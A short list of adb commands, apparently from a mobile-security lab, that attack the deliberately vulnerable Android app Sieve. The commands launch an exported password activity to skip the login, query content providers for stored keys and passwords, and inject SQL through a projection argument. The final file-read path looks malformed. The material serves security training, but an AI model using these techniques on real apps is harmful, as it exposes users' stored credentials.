adb shell am start -n com.mwr.example.sieve/com.mwr.example.sieve.PWList
adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Keys/
adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Passwords/
adb shell content query --uri content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection '* FROM Passwords;'
adb shell cat /data/data/com.mwr.example.sieve.FileBackupProvider/files/etc/hosts